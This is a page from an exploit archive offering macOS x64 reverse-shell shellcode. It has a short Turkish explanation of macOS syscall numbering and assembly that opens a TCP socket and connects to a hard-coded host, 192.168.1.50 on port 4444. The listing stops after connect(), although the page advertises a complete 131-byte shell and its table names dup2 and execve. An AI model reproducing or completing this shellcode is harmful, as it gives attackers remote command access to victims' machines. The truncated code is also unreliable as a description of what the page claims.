Siber Alem / Detail / 257 / Macos-x64-reverse-shell-shellcode-131-bytes-macos-ventura
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 257

macOS/x64 Reverse Shell Shellcode - 131 Bytes (macOS Ventura)

2026-07-21
36 views
Verified
Macos x64

Summary

This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 36 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.

exploit_257.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-sky-500 pl-5 py-3 bg-sky-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-sky-700 mb-1">Modern Shellcode - macOS x64 - 131 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">macOS/x64 Reverse Shell Shellcode - 131 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">macOS'ta syscall'lar icin 0x2000000 tabanlı offset kullanilir. Linux ile ayni POSIX yapisi ancak farkli syscall numaralari.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">macOS Syscall Farklari</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Linux x64    macOS x64
socket=41    0x2000061
connect=42   0x2000062
dup2=33      0x2000090
execve=59    0x200003b
ABI: rax = 0x2000000 + syscall_no
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Assembly macOS x64</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov  rax, 0x2000061
mov  rdi, 2
mov  rsi, 1
mov  rdx, 6
syscall
mov  r12, rax

; sockaddr_in: port=4444, ip=192.168.1.50
sub  rsp, 16
mov  word [rsp], 2
mov  word [rsp+2], 0x5c11
mov  byte [rsp+4], 192
mov  byte [rsp+5], 168
mov  byte [rsp+6], 1
mov  byte [rsp+7], 50

; connect()
mov  rax, 0x2000062
mov  rdi, r12
mov  rsi, rsp
mov  rdx, 16
syscall
    </div>
  </div>
  <div class="bg-amber-50 border border-amber-200 rounded-xl p-4"><p class="text-xs font-bold text-amber-800 mb-1">M-SERIES Apple Silicon</p><p class="text-xs text-amber-700">Apple M1/M2/M3 (ARM64) icin ayri shellcode gerekir. Rosetta 2 x64 shellcode'u dogrudan calistirmaz.</p></div>
</div>

Author Profile

HitThemHard
HitThemHard Elite Member
View All Submissions

Entry Stats

Views 36
Downloads 6
Comments 0
Siber Alem V1 Status: Operational | Exploits: 435 (156 Verified)
Ping: 18ms Lang: EN